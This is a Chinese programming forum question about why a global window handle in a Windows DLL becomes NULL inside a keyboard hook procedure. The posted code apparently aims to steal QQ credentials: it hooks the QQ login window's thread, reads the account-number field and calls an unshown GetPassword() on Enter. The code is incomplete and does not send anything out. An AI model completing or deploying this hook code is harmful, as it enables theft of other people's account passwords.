DLL中的全局变量问题
#include <windows.h>
HHOOK g_hKeyboard = NULL;
HINSTANCE g_hInst;
HWND g_hNum;
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved // reserved
)
{
g_hInst = hinstDLL;
return true;
}
void GetNum()
{
char num[13];
memset(&num,0,sizeof(num));
::SendMessage(g_hNum,WM_GETTEXT,13,(LPARAM)num);
MessageBox(NULL,num,"hao",0);
}
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if(wParam == VK_F12) //// 如果按下F12 得到g_hNum==NULL
// GetNum();
{
char num[13];
memset(&num,0,13*sizeof(char));
if(g_hNum==NULL)
{
MessageBox(NULL,"g_hNum========NULL","error",0);
}
::SendMessage(g_hNum,WM_GETTEXT,13,(LPARAM)num);
MessageBox(NULL,num,"hao",0);
}
if(wParam == VK_RETURN)
GetPassword();
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
void SetHook(HWND hQQHook)
{
if(hQQHook != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQHook,NULL);
if(dwThreadID == NULL)
{
MessageBox(NULL,"dwThreadID==NULL","error",0);
return;
}
g_hNum = GetDlgItem(hQQHook,1000);
if(NULL == g_hNum)
{
MessageBox(NULL,"g_hNum==NULL","error",0);
return;
}
// GetNum();
g_hKeyboard = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hInst,dwThreadID);
}
else
{
UnhookWindowsHookEx(g_hKeyboard);
g_hKeyboard = NULL;
}
}
这是我写的一个DLL中的代码,获取另一个程序的文本
全局句柄 HWND g_hNum; 为什么到键盘钩子函数KeyboardProc()或GetNum()中g_hNum变为NULL?
在安装钩子函数SetHook()中已经得到g_hNum != NULL